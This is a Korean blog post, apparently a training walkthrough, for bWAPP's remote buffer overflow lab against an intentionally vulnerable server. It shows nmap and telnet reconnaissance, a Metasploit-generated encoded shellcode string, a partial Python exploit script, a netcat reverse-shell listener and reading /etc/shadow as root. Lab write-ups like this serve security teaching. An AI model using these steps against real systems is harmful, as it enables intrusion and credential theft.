정보보안(구버전)/ bWAPP 2019. 2. 25. 16:07
웹 해킹 bWAPP - 103. A9 - Using Known Vulnerable Components - Buffer Overflow(Remote)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Using Known Vulnerable Components
- OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용
- 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이
가능한 취약점이다.
2. BOF(Buffer Overflow) 관련 용어
- Buffer : 시스템 연산작업에 필요한 데이터를 일시적으로 메모리 상에 저장하는 공간
- Function : 어플리케이션 실행시 가능 먼저 실행되는 함수, 하나의 Function는 여러 개의 Function을 호출해서 사용 가능
- Return 주소 : 실행 중인 Function이 종료되면 다른 Function을 실행할 수 있도록 참조하는 주소
- Stack 영역 : Function 수행과 Return 주소 정보를 관리하는 로컬 저장소
버퍼 오버플로우
3. Buffer Overflow(Local)
- Function 수행 중 버퍼의 양보다 입력값이 클 경우, 기존의 리턴 값이 덮어쓰기가 되기 때문에 어플리케이션이
중지되거나, 엉뚱한 리턴값을 참조하여 다른 위치로 이동해버린다.
- 그렇기 때문에 공격자는 임의의 위치에 공격 코드 값을 삽입하고, 리턴 주소 값에 공격 코드값이 있는 주소을
삽입하여 오버플로우를 발생시켜 악의적인 코드가 실행되는 취약점이 발생한다.
4. Using Known Vulnerable Components - Buffer Overflow(Remote)
- 이 시나리오는 bWAPP 포트번호 666 취약점과 BoF를 이용하여 리버스 쉘을 통해서 root 권한을 획득하는 내용이다.
Ex1) Using Known Vulnerable Components - Buffer Overflow(Remote)
보안 레벨 선택 및 시나리오 선택
네트워크 서비스 중에 취약점있고 이를 이용하여 BoF를 실시하라는 내용 확인
'nmap'을 이용하여 bWAPP 스캔 실시
root@kali:~# nmap -sS -sV 192.168.20.205
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-27 20:10 KST ~ 중간 생략 ~
|
포트 번호 666으로 텔넷 접속 및 'iron'으로 로그인 실시 -> 영화 매칭 정보 확인
root@kali:~# telnet 192.168.20.205 666 |
메타스플로잇을 이용하여 BoF Payload 생성
root@kali:~# msfconsole -q
msf > use linux/x86/exec
|
103-0. remote_bof ASCII 16진수 변환 명령어.txt
Payload ACSII 16진수 변환 실시
root@kali:~# { echo -n \'; cat remote_bof.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'
%27%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
|
103-1. 'remote_bof.py' 설정 내용.txt
Payload 배열을 위한 'remote_bof.py' 파일 생성
root@kali:~# vi remote_bof.py
import socket
A354 = '\x90' * 354
payload = A354 + ret + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
:wq! |
칼리에서 리버스 쉘 Listen 상태 실시
root@kali:~# nc -n -v -l -p 4444 listening on [any] 4444 ...
|
'remote_bof.py' BoF 실행
root@kali:~# python remote_bof.py Sending evil payload...
|
칼리에서 리버스 쉘 연결 상태 및 Root 권한 확인
root@kali:~# nc -n -v -l -p 4444
whoami
pwd
id
python -c 'import pty;pty.spawn("/bin/bash")' root@bee-box:/# cat /etc/shadow
|
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 103. A9 - bWAPP Using Known Vulnerable Components - Buffer Overflow(Remote)